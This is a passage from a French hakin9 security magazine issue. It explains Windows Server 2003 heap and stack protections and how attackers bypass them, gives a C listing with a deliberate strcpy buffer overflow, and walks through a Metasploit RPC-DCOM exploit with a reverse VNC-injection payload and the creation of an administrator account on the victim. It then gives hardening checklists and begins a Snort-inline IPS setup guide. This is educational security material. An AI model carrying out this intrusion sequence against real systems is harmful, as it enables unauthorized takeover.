dans quelle mesure ces techniques ne fonctionnent plus sur les
tout nouveaux systèmes Windows.
Puis, on vous présentera un moyen
de contourner un premier niveau de
protection, et de provoquer un écrasement de la mémoire.
Listing 1. Problèmes relatifs au mécanisme de protection de la pile
#include <stdio.h>
#include <windows.h>
HANDLE hp=NULL;
int ReturnHostFromUrl(char **, char *);
int main()
{
char *ptr = NULL;
hp = HeapCreate(0,0x1000,0x10000);
ReturnHost-FromUrl(&ptr,"http://www.ivizindia.com/index.html");
printf("Host is %s",ptr);
HeapFree(hp,0,ptr);
return 0;
}
int ReturnHostFromUrl(char **buf, char *url)
{
int count = 0;
char *p = NULL;
char buffer[40]="";
Protection du tas
Les techniques traditionnelles de
débordement du tas fonctionnaient
très bien sur les systèmes d'exploitation Windows XP (SP0, SP1) et
Windows 2000. Mais cela a changé
avec l'arrivée de Windows Server
2003. Microsoft a, en effet, modifié
les sous-programmes de gestion
ainsi que les structures du tas afin
de contrôler la validité d'une unité
avant de l'allouer ou de la libérer.
•
•
Un cookie de sécurité a été introduit dans les en-têtes des unités.
Lorsqu'une unité est allouée, ce
cookie est alors contrôlé afin de
veiller à ce qu'aucun débordement ne se soit produit.
Les pointeurs de liens en avant
et en arrière sont vérifiés avant
la mise en marche du processus
de désactivation de liens, toutes
les fois nécessaires (allocation,
coalescence). Le même contrôle est réalisé pour les blocs alloués virtuellement. Ce contrôle
représente un réel obstacle en
souhaitant provoquer un débordement sur le tas.
D'autres protections ont également
été introduites, plus particulièrement le caractère aléatoire PEB
}
// Get a pointer to the start of the host
p = strstr(url,"http://");
if(!p)
return 0;
p = p + 7;
// do processing on a local copy
strcpy(buffer,p); // <------ NOTE 1
// find the first slash
while(buffer[count] !='/')
count ++;
// set it to NULL
buffer[count] = 0;
// We now have in buffer the host name
// Make a copy of this on the heap
p = (char *)HeapAlloc(hp,0,strlen(buffer)+1);
if(!p)
return 0;
strcpy(p,buffer);
*buf = p; // <-------------- NOTE 2
return 0;
(Process Execution Block, ou Bloc
d'Exécution de Processus) et le
codage des pointeurs d'exceptions.
L'objectif est de minimiser la quantité de pointeurs de fonctions définies et bien connues, généralement
utilisés par le processus. En effet,
ces endroits représentaient des
cibles privilégiées pour provoquer
un débordement sur le tas, avec les
anciennes techniques.
Malheureusement, cette protection ne fonctionne pas à 100% contre le débordement du tas, comme
l'a démontré Alexander Anisimov,
début 2005. La première méthode
www.hakin9.org
publique permettant de contourner
ces nouvelles protections du tas
consiste en réalité à exploiter les
contrôles inexistants sur la liste
parallèle (veuillez consulter l'Article
intitulé Defeating Windows XP SP2
Heap protection and DEP bypass,
si vous voulez en savoir plus sur
les listes parallèles – voir l'Encadré
Sur Internet). Cette nouvelle technique fonctionne en théorie, mais est
très difficile à mettre en œuvre en
pratique. En effet, le tas doit être
doté d'une table parallèle active et
non-vérouillée pour que l'exploitation
fonctionne.
hakin9 Nº 1/2006
41
Focus
Protection de la pile
sous Windows Server
2003 et mécanismes de
contournement
Le schéma de protection de la
pile est identique aux autres implémentations dans la mesure où
une valeur canary ou cookie est
calculée pour chaque fonction, puis
est placée sur la pile sous l'adresse
retournée et sauvegardée. Avant
que chaque fonction ne retourne
à la fonction d'appel, un sous-programme est alors exécuté afin de
comparer la valeur canary stockée
sur la pile, avec une valeur canary
enregistrée dans la mémoire globale. Si ces deux valeurs ne se
correspondent pas, le programme
sera terminé après l'exécution
d'une série de fonctions de rapport
d'erreurs.
Une des faiblesses mentionnées dans cette implémentation est
due aux structures de manipulation
des exceptions stockées au sein
même de la mémoire de la pile. Par
conséquent, il serait en théorie possible pour un pirate de provoquer un
débordement de la mémoire tampon à l'intérieur d'un programme
vulnérable, en corrompant la valeur
canary et l'adresse de retour, et en
poursuivant de la sorte jusqu'à corrompre un pointeur de gestionnaire
d'exceptions. Puis, en appelant une
exception avant le sous-programme
de validation du cookie, il est tout
à fait possible de rediriger le flux
d'exécution de sorte que la charge
située dans la pile, le tas ou dans
un autre endroit de la mémoire soit
exécutée.
Une autre faiblesse a également été mentionnée. Il s'agit de
la valeur canary enregistrée en
32 bits stockée dans la mémoire
globale sur laquelle il est possible
d'écrire via une application. Ainsi,
un pirate capable de manipuler la
mémoire globale, peut modifier le
cookie de sorte qu'il corresponde
à celui de la valeur écrasée par un
débordement de la pile. Les pirates
ont à ce jour développé toute une
variété d'exploitations capables de
contourner le schéma de protection
42
hakin9 Nº 1/2006
de la pile de Windows Server 2003,
et plus particulièrement capables
d'exploiter la vulnérabilité du débordement de la mémoire tampon
via l'interface DCOM RPC de Microsoft Windows, décrite dans la
partie suivante.
Regardez plus en détails ce qui
se passe réellement. Lorsqu'une
procédure a été protégée, le cookie
est contrôlé afin de déterminer si sa
valeur est identique à la valeur de
départ de la procédure. Une copie
autorisée du cookie est stockée dans
la section .data du fichier image de
la procédure en question. Le cookie
présent sur la pile est déplacé vers le
registre ECX puis comparé à la copie
située dans la section .data. Or, ce
procédé pose un problème (voir cidessous).
Si le cookie ne correspond pas,
le code chargé d'implémenter le
contrôle va appeler un gestionnaire
de sécurité, s'il y en a un de défini.
Un pointeur vers ce gestionnaire
est stocké dans la section .data du
fichier image de la procédure vulnérable ; si ce pointeur n'est pas NULL ,
il est alors déplacé vers le registre
EAX, qui est ensuite appelé. Ce qui
pose de nouveau un autre problème
(voir ci-dessous), dans la mesure où
aucun gestionnaire de sécurité n'a
été défini, unhandledExceptionFilter
est alors appelée, ce qui ne termine
pas simplement le processus, mais
exécute toutes sortes d'actions
et d'appels vers toutes sortes de
fonctions.
Examinez maintenant les problèmes mentionnés plus haut et
analysez les raisons qui font que
ces situations deviennent problématiques. La meilleure façon de
procéder est d'examiner un extrait
du code. Observez l'extrait de code
exposé dans le Listing 1.
Ce programme prend une URL,
et extrait le nom de l'hôte. La fonction ReturnHostFormUrl est vulnérable au débordement de la mémoire
tampon, marquée dans NOTE 1. Si
vous regardez le type de la fonction, il est possible de constater
qu'elles prend deux paramètres :
l'un étant un pointeur 0 dirigé vers
www.hakin9.org
Service RPC-DCOM
Les Appels de Procédure à Distance
ou Remote Procedure Call (RPC)
sont un protocole utilisé par le système d'exploitation Windows. Le RPC
fourni un mécanisme de communication interprocessus permettant à un
programme fonctionnant sur un ordinateur d'exécuter en continue du code
sur un système distant. Ce protocole
est lui-même dérivé du protocole RPC
d'Open Software Foundation (OSF),
auquel Microsoft a ajouté des extensions spécifiques.
un pointeur (char **) et le second
étant un pointeur dirigé vers l'URL
à pirater. Dans NOTE2, vous avez défini le premier paramètre comme un
pointeur dirigé vers le nom de l'hôte
stocké sur le tas dynamique. C'est
ici, que l'un des problèmes évoqués
survient. Si vous provoquez un débordement sur la mémoire tampon
basée sur la pile, un écrasement
du cookie, un écrasement du pointeur de base sauvegardé, puis de
l'adresse de retour sauvegardée,
vous commencez alors à écraser
les paramètres passés dans la
fonction. Une fois la mémoire tampon en débordement, vous avez le
contrôle des paramètres passés
dans la fonction, ce qui vous permet d'abuser du mécanisme structuré d'exceptions en contournant la
protection de la pile.
Exploitation
Désormais dotés de l'armure nécessaire pour exploiter le tout nouveau
système Windows, vous pouvez dès
à présent vous introduire dans le système. Par souci de clarté, vous vous
concentrerez plus particulièrement
sur Metasploit, exemple intéressant
en raison des fonctionnalités qu'il
propose. Vous allez analyser un
exemple de vulnérabilité afin d'obtenir des privilèges complets sur
la boîte de Windows Server 2003.
Les lecteurs sont libres de découvrir d'autres vulnérabilités selon le
scénario.
Il y a bien des vulnérabilités
dans l'interface RPC (voir l'Enca-
Sécurité de Windows Server 2003
dré Service RPC-DCOM) chargée
d'implémenter les services de Modèles d'Objet Composant Distribué
ou Distributed Component Object
Model (DCOM), chargés d'écouter
les ports activés du RPC. Cette
interface permet de manipuler
les requêtes d'activation d'objets
DCOM envoyées par des machines
clients au serveur. La vulnérabilité
de ce service provient d'une manipulation incorrecte des messages
non valides dans une fonction
responsable de l'instanciation des
objets DCOM.
Un pirate parvenant à exploiter cette vulnérabilité serait alors
capable d'exécuter du code au
moyen des privilèges du Système
Local sur un système affecté. Le pirate pourrait alors lancer n'importe
quelle action sur le système, comme l'installation de programmes,
la visualisation des modifications
ou la suppression des données,
ou la création de nouveaux comptes dotés de privilèges complets.
Cette vulnérabilité a été initialement mentionnée par le groupe de
recherches Last Stage of Delirium,
puis a été largement exploitée par
la suite.
Sans s'arrêter sur la manière
d'accéder à Metasploit, on va
directement vous présenter comment exploiter la boîte de Windows
Server 2003 au moyen d'exemple
de vulnérabilité mentionné plus
haut. La charge sélectionnée est
win32_reverse_vncinject. Il s'agit
d'une charge d'injection DLL sur
serveur VNC. Cette charge vous
permettra d'accéder immédiatement
au bureau d'un système exploité en
utilisant n'importe quelle exploitation
de Win32.
La DLL est chargée dans le
processus distant au moyen de n'importe quel système de chargeurs,
démarrée sous forme d'un nouveau
flux de travail dans le processus
exploité, et chargée d'écouter les requêtes de clients VNC sur la même
interface de connexion utilisée pour
charger la DLL. Le cadre d'applications se contente d'écouter sur une
interface de connexion locale un
Figure 1. Bureau Distant, session VNC démarrée avec succès
Figure 2. Fenêtre d'invite de commande sur le PC distant
www.hakin9.org
hakin9 Nº 1/2006
43
Focus
client VNC ainsi que les données des
serveurs mandataires au travers de
la connexion de charge au serveur.
En mode lecture seule, l'utilisateur
du cadre d'applications peut visualiser les contenus du bureau, sans
toutefois interagir avec. Si un accès
complet avait été obtenu, le serveur
VNC engendrerait alors une console
de commande sur le bureau avec
les privilèges du service exploité,
ce qui peut se révéler très utile dans
les situations où un utilisateur nonprivilégié se trouve sur le bureau interactif, alors que le service exploité
fonctionne avec les privilèges du
Système.
Commencez par obtenir une
console sur la machine attaquée
(voir la Figure 1). Puis, lancez l'Explorer à partir de la fenêtre d'invite
de commande (explorer.exe), comme illustré dans la Figure 2. Puis,
créez un utilisateur valide VAX
sur le système, et lui affectez les
privilèges du groupe Administrateur (voir la Figure 3). Finissez par
être connectés au système en tant
qu'utilisateur VAX (voir la Figure 4).
À partir de maintenant, il est possible d'exploiter de nombreux vecteurs pour lancer des attaques et
des assauts supplémentaires sur
le réseau.
Figure 3. Création d'un utilisateur VAX
Guide de protection
Il ne faut pas évoquer de manière
exhaustive tous les mécanismes
de protection dans le présent
article. On va donc présenter ici
les méthodologies de protection
classiques. N'oubliez pas que le
système Windows Server 2003 est
proposé avec un bon nombre de
réglages de sécurité par défaut, qui
devraient être vérifiés avant toute
connexion.
La meilleure façon de contrôler
ces réglages est d'aller sur http://
www.microsoft.com afin de télécharger le Guide de Sécurité de
Windows Server 2003. Il s'agit d'un
guide classique et exhaustif, vous
expliquant comment verrouiller et
renforcer la sécurité de Windows
Server 2003, et de ses services, et
vous présentant un grand nombre
Figure 4. Accès complet
44
hakin9 Nº 1/2006
www.hakin9.org
Sécurité de Windows Server 2003
Liste de contrôle de sécurité pour
Windows Server 2003
Suivez les étapes ci-dessous afin d'améliorer la sécurité de votre système Windows
Server 2003. Pour plus de détails, veuillez consulter le Guide de Sécurité de Windows Server 2003.
Sécurité du système de fichiers
•
•
•
Minimiser les permissions NTFS pour le groupe EVERYONE.
Au niveau du lecteur logique, réinitialiser, puis propager les permissions suivantes :
• Contrôle total pour les Administrateurs,
• Contrôle total pour les CREATOR OWNER,
• Permissions de modifier, lire/exécuter, classer les contenus de dossiers et
d'écrire pour les utilisateurs authentifiés,
• Supprimer et propager TOUTES les permissions des utilisateurs authentifiés du répertoire système.
Permettre aux utilisateurs authentifiés de modifier, lire/exécuter, classer les
contenus des dossiers et d'écrire sur :
• \Documents and Settings\,
• répertoire caché\WINNT\Installer,
• \WINNT\System32\Config\,
• \WINNT\Repair.
Sécurité du réseau
•
•
Désactiver les services généralement non nécessaires pour les serveurs, parmi
lesquels :
• Client DHCP,
• Service Fax,
• Partage de connexion Internet,
• Message Intersites,
• Service d'inscription à distance,
• Service RunAs,
• Simples services TCP/IP,
• Telnet,
• Gestionnaire d'utilitaires.
Désinstaller les protocoles tels que IPX/SPX et NetBIOS, sauf nécessité absolue.
Sécurité de l'utilisateur
•
•
•
Désactiver le compte Guest et affecter des mots de passe forts.
Désactiver le compte TsInternetUser et affecter des mots de passe forts.
Renommer le compte Administrator.
Sécurité du système
•
•
•
Ne pas contrôler Hide file extensions for known file types.
Télécharger et installer toutes les mises à jour importantes à partir de http://
windowsupdate.microsoft.com.
Télécharger et lancer l'Analyseur de Sécurité de Ligne de Base de Microsoft
(Microsoft Baseline Security Analyzer, ou MBSA).
Voir le Listing 2 pour un exemple de renforcement de sécurité TCP/IP.
d'outils, de modèles et d'autres éléments à faire fonctionner. Ce guide
contient à peu près tout ce qu'il faut
savoir pour verrouiller le système
Windows Server 2003, ainsi que
n'importe quel service susceptible
d'y être installé.
Alors que le produit est extrêmement sécurisé lors de son
installation par défaut, il existe un
www.hakin9.org
Listing 2. Clés à modifier ou
à ajouter afin de renforcer la
sécurité TCP/IP sous Windows
Server 2003
HKEY_LOCAL_MACHINE\SYSTEM\ §
CurrentControlSet\Services:
Key: Tcpip\Parameters
Value: SynAttackProtect
Value Type: REG_DWORD
Parameter: 1
Key: Tcpip\Parameters
Value: EnableDeadGWDetect
Value Type: REG_DWORD
Parameter: 0
Key: Tcpip\Parameters
Value: EnablePMTUDiscovery
Value Type: REG_DWORD
Parameter: 0
Key: Tcpip\Parameters
Value: KeepAliveTime
Value Type: REG_DWORD
Parameter: 300,000
Key: Netbt\Parameters
Value: NoNameReleaseOnDemand
Value Type: REG_DWORD
Parameter: 1
HKEY_LOCAL_MACHINE\SYSTEM\ §
CurrentControlSet\Control:
Key: Lsa
Value: RestrictAnonymous
Value Type: REG_DWORD
Parameter: 2
Key: SecurePipeServers
Value: RestrictAnonymous
Value Type: REG_DWORD
Parameter: 1
certain nombre d'options de sécurité pouvant être configurées plus
en avant en fonction d'exigences
bien spécifiques. Ce guide propose
non seulement des recommandations, mais donne des informations
essentielles sur le risque que le
réglage engendre généralement,
ainsi que sur l'impact que peut
avoir une option configurée sur un
environnement. Avant de lire ce
guide, on va vous présenter une
simple liste de contrôle de sécurité
(voir l'Encadré Liste de contrôle
de sécurité pour Windows Server
hakin9 Nº 1/2006
45
Focus
2003), puis en réaliser les étapes
les plus importantes. Vous trouverez un exemple de procédure de
sécurité pour un serveur Web dans
l'Encadré Renforcement de la sécurité du serveur Web.
Conclusion
Les partisans de la seule philosophie
du principe du moindre privilège en
matière de sécurité se félicitent de
voir Microsoft proposer un environnement livré clé en main plus verrouillé
sur Windows Server 2003, mais ne
sont pas encore totalement satisfaits.
La question, comme toujours, est la
suivante : à quelle quantité d'accessibilité les utilisateurs et les administrateurs sont-ils prêts à renoncer
pour plus de sécurité ? Certains administrateurs Web se plaignent déjà
du système intégré d'information,
version 6.0, en raison du trop grand
nombre de fonctions désactivées par
défaut, détériorant ainsi la fonctionnalité de l'application.
Pendant les formations de sécurité, ceux qui ont opté pour des
produits à haute sécurité apprennent
que la somme qu'ils ont déboursée
comprend la formation nécessaire
à leur utilisation. Or ceci s'applique
également aux nouveaux systèmes
d'exploitation et applications hautement sécurisés : la phase d'apprentissage devient de plus en plus
importante. Ce n'est pas forcément
un inconvénient, mais il est essentiel qu'un tel compromis soit bien
compris en amont. La sécurité se
paie, et ce prix représente l'accessibilité. Dans le monde dangereux
dans lequel nous vivons aujourd'hui
(que ce soit en ligne, ou en mode
déconnecté), il s'agira toujours d'un
prix acceptable.
Avec les progrès des techniques d'exploitations de Windows,
permettant de contourner la protection mise en place sur Windows
Server 2003, Microsoft doit également relever le défi de proposer
des couches ajoutées de sécurité
afin de conserver la confiance des
utilisateurs. En dépit des prodigieuses améliorations réalisées
par rapport à ces prédécesseurs,
46
hakin9 Nº 1/2006
Renforcement de la sécurité du serveur Web
L'exemple décrit ci-dessous est composé des étapes classiques à suivre, au moment
d'utiliser Windows Server 2003 en tant que serveur Web avec le système intégré d'informations, version 6.0.
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Lors d'une toute nouvelle installation, le serveur ne devrait pas être connecté au
réseau avant d'avoir appliqué des mesures de renforcement de sécurité.
Dès le premier niveau, choisissez la partition NTFS, puis paramétrez les réglages
du panneau Regional et déterminez un mot de passe administrateur fort.
Dans les réglages réseau du Groupe de Travail ou du Domaine de l'Ordinateur,
choisissez No, this computer is not on a network… Entrez, dans l'espace blanc, un
groupe de travail vide ([ALT-255 ]).
Installez les composants de l'application serveur, si vous prévoyez de contrôler le
serveur au moyen de SNMP (voir dans Outils de Gestion et de Contrôle).
Téléchargez (sur un système à part), puis installez tous les programmes de corrections adaptés à partir du service Windows Update. Le serveur est désormais prêt
à être connecté au réseau.
Installez un moteur d'antivirus et mettez-le à jour, afin d'activer de manière automatique la mise à jour des signatures.
Le serveur SSH peut être installé pour une gestion à distance. Dans ce cas, le
nombre maximum de connexions autorisées doit être paramétré sur 2.
Dans l'onglet Cryptage, veillez à ce que les éléments suivants soient bien activés :
Chiffreurs : AnyStdCipher, Codes d'authentification de message : AnyStdMac.
Dans l'onglet Tunnelisation : autorisez la tunnellisation TCP.
Dans l'Authentification Utilisateur -> onglet Mot de Passe. Veillez à ce que la boîte
Permit empty Passwords ne soit pas cochée.
Téléchargez puis installez URLScan.
Désactivez NetBIOS sur TCP/IP.
Dans la chaîne de la Communauté SNMP, veillez à ce que Send authentication trap
soit bien coché. Vérifiez également que les droits de la communauté soient en lecture seule, et choisissez un mot de passe fort. Acceptez les formulaires de paquets
SNMP issus des hôtes sélectionnés, où l'adresse du réseau SNMP est ajoutée.
Paramétrez la politique IPsec.
Configurez les services du terminal pour un cryptage haute définition. Choisissez Do
not allow remote control, décochez Use Connection Settings From User Settings et
décochez Connect Client Printers at Logon et Default to Main Client Printer.
Appliquez le fichier .inf du Serveur Web Haute Sécurité à partir de http://
www.eastcarymassive.com/w2k3/www-w2k3-dmz.inf puis lancez MMC (Démarrer -> Exécuter -> MMC).
Pour les réglages du système intégré d'information, version 6.0, créez une sauvegarde, puis activez la connexion. Ajoutez également des contrôles sur les Cookies
et les Referers. Supprimez l'ensemble des extensions des applications (.asa, .asp,
.cdx, .cer, .idc, .shtm, .shtml, .stm), puis ajoutez-les si nécessaire.
Pour toutes les extensions rajoutées, prévoyez de limiter les verbes HTTP que les
extensions acceptent. À la place d'utiliser tous les verbes (DELETE, GET, HEAD,
POST et TRACE) il est possible de n'utiliser que GET pour les Static Web Pages
et POST si votre site comporte des formulaires. Cette manœuvre est conforme au
principe du moindre privilège.
Désactivez le site Web par défaut et choisissez l'ensemble minimum de permissions pour le site Web en décochant la boîte Run scripts (tels que ASP).
Contrôlez et supprimez tous les répertoires d'échantillons du système intégré d'information, puis supprimez l'Impression Internet.
Dans le dossier Network -> Network Configurations, modifiez la valeur de Prohibit
use of Internet Connection Sharing on your DNS Domain Network to enabled d'un
clic droit et sélectionnez Enable.
Renommez, puis modifiez le mot de passe du compte IUSR_<machinename>.
Modifiez le site Web, afin de pouvoir utiliser le compte IUSR et le mot de passe
correspondant.
Enfin, et c'est le plus important, réglez les permissions du dossier et du fichier
NTFS.
www.hakin9.org
À propos de l'auteur
Rudra Kamal Sinha Roy travaille dans le domaine de la sécurité depuis un certain nombre d'années et est employé actuellement chez iViZ Techno Solutions,
société de sécurité informatique basée en Inde. Il a mené un grand nombre
d'audits sur la sécurité informatique de différentes sociétés mondiales. Il préside
également l'OWASP (Open Web Application Security Project) et Kolkata chapter.
Son engagement à mener des formations pratiques sur le Piratage Ethique a été
crucial. Il a également contribué à élaborer l'ISSAF (Internet Systems Security
Assessment Framework), norme mondialement reconnue en matière de traitement de la sécurité.
Remerciement et crédits
Je tiens à remercier les personnes suivantes : Nilanjan De, Abhisek Datta. Dans
l’article, on a utilisé des passages préparés par Nicolas Falliere et Deb Shinder. Je
voudrais également remercier HD Moore du projet Metasploit pour m'avoir permis
d'utiliser des captures d'écran. Mes remerciement sincères au travail de recherches
réalisé par David Litchfield, Halvar Flake, Alexander Anisimov et leur contribution
inestimable dans les techniques d'exploitation de Windows.
Windows a encore du chemin à
faire. Heureusement, Microsoft
travaille actuellement sur un projet
(nom de code R2), importante mise
à jour de Windows Server 2003,
dont la sortie était prévue fin 2005,
ou probablement début 2006, au
plus tard. On verra à ce moment là,
si cette mise à jour apportera les
éléments capables de sécuriser le
système.
Windows Longhorn Server est le
nom de code du prochain système
d'exploitation serveur de Microsoft.
Il succèdera à Windows Server
2003, et prendra certainement le
nom de Windows Server 2007.
Il est également prévu que Windows
Server 2007 soit livré avec WinFS,
sous-système de stockage Windows, annulé sous Windows Vista
en raison de contraintes de temps,
mais probablement intégré au Pack
de Service Windows Vista. Il s'agira
d'une relation similaire à celle entre
Windows XP et Windows Server
2003. Reste à confirmer la sécurité
que ce programme est réellement
capable d'offrir (puisque Microsoft
travaille sur des améliorations de la
sécurité) face à un monde où la sécurité évolue rapidement. l
Sur Internet
•
•
•
•
•
•
•
http://www.microsoft.com/windowsserver2003/default.mspx – Microsoft Widows
Server 2003,
http://www.microsoft.com/windowsserver2003/technologies/default.mspx
– Technologies centrales de Windows Server 2003,
http://windowsnetworking.com/ – site particulièrement intéressant pour lire des
articles relatifs à Windows,
http://securityfocus.com/microsoft/images/winheapoverflow.c – Débordement du
tas par concept de la preuve,
http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt
–Présentation des Exploitations de troisième Génération,
http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf – Lien vers l'article intitulé Defeating Windows XP SP2 Heap protection and DEP bypass,
http://www.metasploit.com – Projet Metasploit.
www.hakin9.org
hakin9 Nº 1/2006
47
Système IPS basé sur
Snort
Prattique
Michał Piotrowski
Degré de difficulté
Pour se protéger contre les attaques sur les systèmes
informatiques, le plus souvent on utilise les pare-feux ; et pour
surveiller les attaques – les systèmes de détection d'intrusions.
Pourtant, la détection des intrus ne suffit point. Cela ne servira
à rien de détecter une attaque, si l'on n'est pas capable de la faire
échouer. La solution est de construire un système de prévention
des attaques – cet article explique comment construire un tel
système et comment le maintenir.
L
es outils les plus populaires servant
à protéger les réseaux informatiques
contre les attaques des cyberpirates
sont les pare-feux et les systèmes de détection
d'intrusions (IDS, en anglais Intrusion Detection Systems). Tandis que le fonctionnement
des pare-feux consiste à contrôler les paquets
arrivants vers le réseau, les systèmes de détection d'intrusions analysent le contenu de ces
paquets et au moment où une irrégularité ou
une information caractéristique pour l'attaque
est détectée, ils donnent l'alerte.
Pourtant, le niveau de sécurité atteint par le
biais de cette technique n'est pas satisfaisant.
Tout d'abord, le pare-feu doit laisser passer une
partie du trafic – si non, la connexion d'un réseau protégé avec le reste du monde n'a aucun
sens, et l'attaque peut avoir lieu justement sur
le service qui est accessible. Évidemment, le
système IDS est capable de détecter une attaque qu’un pare-feu a laissé passé par, mais
tout en étant un simple observateur, il n'est pas
capable de la faire échouer, donc sa présence
n'aura qu'une valeur informative.
Bien sûr, il est possible de coupler le système
IDS avec un pare-feu pour bloquer en temps réel
les tentatives de pénétration ou le configurer de
48
hakin9 Nº 1/2006
façon à ce qu'il interrompe les connexions suspectes. Hélas, une telle solution a beaucoup de
défauts. Premièrement, beaucoup d'attaques
consistent à envoyer seulement un ou quelques
paquets. Dans la plupart des cas, les attaques
de type DoS sur un programme ou un système
plantant après la réception des données spécialement préparées à cet effet, ou les attaques de
débordement de tampon contraignant le système
attaqué à établir une connexion de retour avec
l'ordinateur de l'intrus réussiront, même si le
système IDS envoie au pare-feu l'information
Cet article explique...
•
•
ce-qu’est un système de prévention des attaques,
comment installer, configurer et maintenir un
système IPS basé sur le programme Snort.
Ce qu'il faut savoir...
•
•
www.hakin9.org
notions de base de l'administration du système
Linux,
notions de base du fonctionnement du réseau
TCP/IP.
Construisez un système de prévention d'intrusions
Netfilter
Le mécanisme netfilter est un soussystème du noyau de Linux permettant
le filtrage, la modification des paquets
et la traduction des adresses réseau
(en anglais Network Address Translation – NAT). Il est apparu dans les
noyaux de la série 2.4 et est toujours
développé dans la série 2.6.
Pour configurer les règles de
filtrage ou de traduction, on utilise le
programme fonctionnant dans l'espace
utilisateur appelé iptables. Mais il faut
savoir que ce n'est pas un seul moyen
de contrôler les règles de filtrage du trafic réseau dans le noyau du système.
sur le blocage de l'adresse IP donnée.
Deuxièmement, l'intrus peut exploiter
cette propriété de l'IDS pour bloquer
un groupe d'adresses donné en
simulant les attaques provenant de
celles-ci.
La solution très efficace de ces
problèmes sont les systèmes de prévention d'intrusions – IPS (en anglais
Intrusion Prevention System) qui intègrent les pare-feux et les systèmes
de détection d'intrusion (IDS). Les
systèmes IPS sont implantés dans le
réseau de la même façon que les pare-feux – sur le chemin des paquets,
de façon à ce que toutes les données
envoyées sur le réseau passent par
celui. L'IPS analyse ces données du
point de vue des propriétés caractéristiques aux types des attaques connus
et en fonction de leur classification, il
les laissent passer ou les bloquent.
Il existe beaucoup de solutions
IPS sur le marché. Leurs prix sont
différents : de quelques jusqu'à quelques milles dollars. Essayez de
construire votre propre système IPS
basé sur les programmes disponibles généralement sur Internet.
Outils
Dans cet article le système sera
basé sur Linux avec le noyau en
version 2.6.12.6. C'est important car
les noyaux de la série 2.6 supportent la création des ponts réseau,
tandis que les noyaux 2.4 exigent
pour cela des correctifs appropriés.
La distribution de Linux n'est pas ici
Figure 1. La place du système IPS dans le réseau
essentielle. Ce qui est important,
c'est que cela soit une installation
assez simple, dépourvue de Xwindow, d'applications multimédias et
d'autres outils de ce type.
Le cœur de notre IPS sera le programme open source Snort IDS en
version 2.4.0. C'est un programme
très avancé, utilisé dans quelques
systèmes IDS/IPS commerciaux.
Quant à vous, servirez-vous de la
version 2.4.0 parce qu'elle est intégrée au projet snort_inline permettant de télécharger les paquets non
via la librairie libpcap, comme cela
a lieu dans la configuration standard
de Snort, mais via le mécanisme netfilter et le programme iptables.
De plus, vous aurez besoin de
quelques bibliothèques et outils.
Avant tout, ce sont les bibliothèques
libnet 1.0.x, LIBIPQ et le programme
bridge-utils. La bibliothèque LIBIPQ
appartient au paquet iptables et vous
la trouverez dans les modules supplémentaires de développement ou
installerez à partir des sources, en
installant iptables par la commande
make install-devel. Utiliserez aussi
le programme Oinkmaster qui permettra la mise à jour automatique de
la base de signatures.
L'ordinateur sur lequel vous lancerez l'IPS, est muni de trois cartes
réseaux. Seulement une d'elles aura
l'adresse IP affectée et elle servira
à la gestion de la machine. Deux
autres seront configurées uniquement jusqu'à la couche 2 du modèle
OSI et les paquets envoyés sur le
www.hakin9.org
réseau seront transférés entre elles.
Ainsi, votre IPS constituera un pont,
transparent pour les autres périphériques et ordinateurs. Le schéma
d'un réseau après la connexion de
l'IPS de ce type est présenté sur
la Figure 1. Dans cet article, on ne
construit pas tout le réseau présenté
– on se concentrera à la création du
périphérique IPS.
Construction d'un pont
Le pont réseau (en anglais bridge) est
un équipement qui fonctionne dans la
couche de liaison des données du modèle OSI et sert à relier différents segments du réseau informatique. Il existe
deux principaux avantages d'utilisation
du pont comme IPS ou pare-feu :
•
•
Configuration simple – elle est due
au fait que le pont ne possède pas
d'adresses IP et peut être placé
à l'intérieur du réseau sans changement de l'adressage ou du routage sur d'autres périphériques. La
connection de l'IPS de ce type est
similaire à la connexion d'un commutateur ordinaire.
Sécurité – consiste à ce que le
périphérique soit transparent,
alors pratiquement indétectable
par différents types de scanneurs. Il n'a pas d'adresse IP,
alors il est impossible de s'y
connecter et de l'attaquer. Il est
vrai qu'on peut exploiter la faille
dans les programmes IPS qui,
par exemple, plante au moment
du traitement du paquet spéciale-
hakin9 Nº 1/2006
49
Pratique
ment conçu à cet effet, mais heureusement, les problèmes de ce
type n'arrivent pas trop souvent.
Commencez la transformation de votre
ordinateur en pont par configurer deux
interfaces réseau de l'IPS de façon
à ce qu'elles échangent les paquets
entre elles. Pour ce faire, vous devez
compiler le noyau avec les options
présentées dans le Listing 1.
Après le redémarrage du système, ajoutez une nouvelle interface
virtuelle br0 et lui affectez les interfaces réelles eth0 et eth1, en tapant les
commandes suivantes :
# ifconfig eth0 0.0.0.0 up
# ifconfig eth1 0.0.0.0 up
# brctl addbr br0
# brctl addif br0 eth0
# brctl addif br0 eth1
# ifconfig br0 0.0.0.0 up
Configurez également l'interface eth2,
servant à gérer le périphérique :
Types de systèmes IPS
Le périphérique présenté est un système réseau de détection des intrusions (NIPS, en
anglais Network Intrusion Prevention System). Actuellement, c'est le type de systèmes
IPS le plus populaire. D'autres systèmes de ce type sont :
•
•
Commutateurs de septième couche (de l'anglais Layer Seven Switches) – ce sont
les périphériques très similaires à l'IPS présenté. En général, ils servent à répartir
les charges sur plusieurs dispositifs, mais sont aussi capables d'arrêter les paquets
sélectionnés à partir d'une base de règles.
IPS d'application (HIPS, en anglais Host Intrusion Prevention System) – ce sont
des solutions logicielles, installées localement sur chaque station protégée qui
sont intégrées au système d'exploitation et surveillent le fonctionnement des
autres applications. Ils permettent de protéger le système contre les dangers les
plus connus, comme les débordement de tampon, les virus, les chevaux de Troie
ou les logiciels espions.
au programme de travailler en mode
inline. Ainsi, Snort pourra être situé sur
le chemin des paquets. La configuration, la compilation et l'installation du
programme sont effectuées au moyen
des commandes suivantes :
$ ./configure --enable-inline
$ make
# make install
# ifconfig eth2 10.0.0.1 \
netmask 255.255.255.0 up
Dès ce moment, tous les paquets
vus par l'interface eth0 seront envoyés vers les segments du réseau
de l'autre côté de l'IPS à travers l'interface eth1 et vice-versa. La carte
eth2 a une adresse IP affectée et elle
permet de se loguer à distance sur le
périphérique.
Installation de Snort
L'installation de Snort est une installation standard. Pourtant, pendant la
configuration du paquet, il faut ajouter
l'option --enable-inline, qui permettra
Ensuite, il faut créer le répertoire
/etc/snort et y metter tous les fichiers
de configuration nécessaires :
# cp classification.config \
gen-msg.map \
generators \
reference.config \
sid sid-msg.map \
snort.conf \
threshold.conf \
